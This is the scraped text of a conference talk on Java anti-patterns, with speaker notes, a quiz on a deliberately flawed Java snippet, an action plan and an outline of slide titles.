Don't be the person manually checking formatting in code reviews. Automate it. Be the person who reviews ARCHITECTURE. [Click - Static Analysis appears] Three tools you should set up this week. SonarQube with SonarLint - catches smells IN your IDE before you even commit. Set up Quality Gates in CI/CD: block the PR if cyclomatic complexity exceeds 10. Error Prone from Google - runs at compile time. Catches equals-equals on strings, unused return values, concurrency bugs. SpotBugs - analyzes bytecode. Finds null dereferences, infinite loops, resource leaks the compiler misses. [Click - Code Review Rules appear] For human reviews, three questions. The Explanation Test: if you need a comment to explain WHY, refactor instead. SRP Check: can you describe this class without using the word "and"? If not, it does too many things. The Boy Scout Rule: leave every file cleaner than you found it. [Click - Bottom line appears] Write code for humans first, compilers second. And this works. In one real God Object refactoring, complexity dropped 87 percent, coverage went up 7.4 times, and production incidents from that module: zero in six months.

Interactive

Spot the Anti-Patterns

How many can you find? (There are at least 6)


public class SystemManager {                                           // 1. ???
    public void processTransaction(Object data) {
        if (data != null) {
            if (data instanceof Map) {
                Map m = (Map) data;                                    // 2. ???
                if (m.get("type") != null) {
                    if (m.get("type").equals("payment")) {
                        double amt = (double) m.get("amount");         // 3. ???
                        String url = "https://pay.internal/api/v1";    // 4. ???
                        try {
                            HttpClient.newHttpClient()
                                .send(buildRequest(url, amt), ofString());
                        } catch (Exception e) { }                     // 5. ???
                    }
                }
            }
        }
    }
    // ... 150 more methods like this ...                              // 6. ???
}

1. God Object ("Manager")

2. Raw types + spaghetti nesting

3. Magic cast (no types)

4. Hard-coded URL

5. Swallowed exception

6. God Object (150 methods)

OK, pop quiz! Everything we've learned in one slide. Look at this code. How many anti-patterns can you spot? I'll give you 15 seconds. [Count to 10 silently. Let audience study. Maybe point at the code.] Alright, who's got some? Shout them out. [Let audience call out. Acknowledge answers.] [Click - answers appear] There are at least six. Number one: SystemManager - God Object naming. "Manager" is always a red flag. Number two: raw Map with instanceof and deep nesting - spaghetti code. Number three: magic cast to double with no type safety. Number four: hard-coded URL right in the business logic. Number five: empty catch block - the Ostrich Effect. Payment could fail silently. Number six: 150 more methods just like this. A true God Object. Notice how they cluster. In real codebases, you almost never see just ONE anti-pattern. They attract each other. That's the compound effect in action.

Closing

The Action Plan

What to do when you get back to your desk

Prevent

Add SonarLint to your IDE. Set up Quality Gates in CI/CD. Stop anti-patterns at the gate.

Eliminate

Apply the Boy Scout Rule: every PR you touch, fix one smell. Rename one variable. Delete one dead method.

Educate

Share these patterns with your team. Make anti-pattern identification part of your code review checklist.

Closing

Graceful Code

"Elegant code isn't just about adhering to patterns.
It's about empathy for the next developer who has to read it.
(Even if that developer is you, six months from now, at 3 AM)."

Thank You

Let's build better software.

Stir Trek 2026 · Vitaliy Matiyash

Resources & Connect

Scan to grab the slides or find me online.

Get the Slides

Deck, code examples, and cheat sheet.

bit.ly/java-anti-patterns

🌐 vitaliymatiyash.com | 🔗 linkedin.com/in/vitaliymatiyash

Stir Trek 2026

JavaAnti-Patterns

Raise your hand if...

What is an Anti-Pattern?

Severity Tiers

The Usual Suspects

God Object

Spaghetti Code

Lava Flow

Magic Numbers

Copy & Paste

Reinventing the Wheel

Premature Optimization

Accidental Complexity

The Ostrich Effect

Concurrency Bugs

Distributed Monolith

Compound Effect

THE GOD OBJECT

God Object dangerous

God Object: The Cure

Before

After - SRP + Modern Java

Spaghetti Code dangerous

The Arrowhead Anti-Pattern

Guard Clauses - Fail Fast

Lava Flow dangerous

Real Example - Apache Tomcat

The Cure

Magic Numbers & Hard Coding annoying

Real Example - JDK's Calendar

Hard Coding

The Cure - java.time + Enums

Externalized Config

Stringly-Typed Code annoying

Everything Is a String

Type-Safe Domain Objects

Copy & Paste Programming annoying

Class A

Class B

Template Method Pattern

Reinventing the Wheel annoying

The Custom Collection Utils

Use What Already Exists

SUBTLE TRAPS

Premature Optimization annoying

Hand-Rolled Thread Pool

What You Actually Need

Accidental Complexity annoying

The Right Architecture

The Ostrich Effect career-ending

Swallowing Exceptions

The Cure - Handle or Propagate

Golden Hammer annoying

The Symptoms

The Cure: Right Tool, Right Job

BEYOND THE BASICS

Concurrency Anti-Patterns career-ending

Broken Double-Checked Locking

Fix 1: volatile (Java 5+)

Fix 2: Holder pattern (better)

Architectural Anti-Patterns career-ending

The Distributed Monolith

Symptoms:

The Compound Effect

When Anti-Patterns Are Acceptable

It's OK When...

It's NOT OK When...

War Story: Log4Shell (CVE-2021-44228)

Impact

CLEAN CODE

Meaningful Names

Unsearchable & Cryptic

Searchable & Intentional

The Grammar of Code

Don't Be Cute

The Rules of Functions

Boolean Blindness

Spot the Bug

Readable Alternatives

Java
Anti-Patterns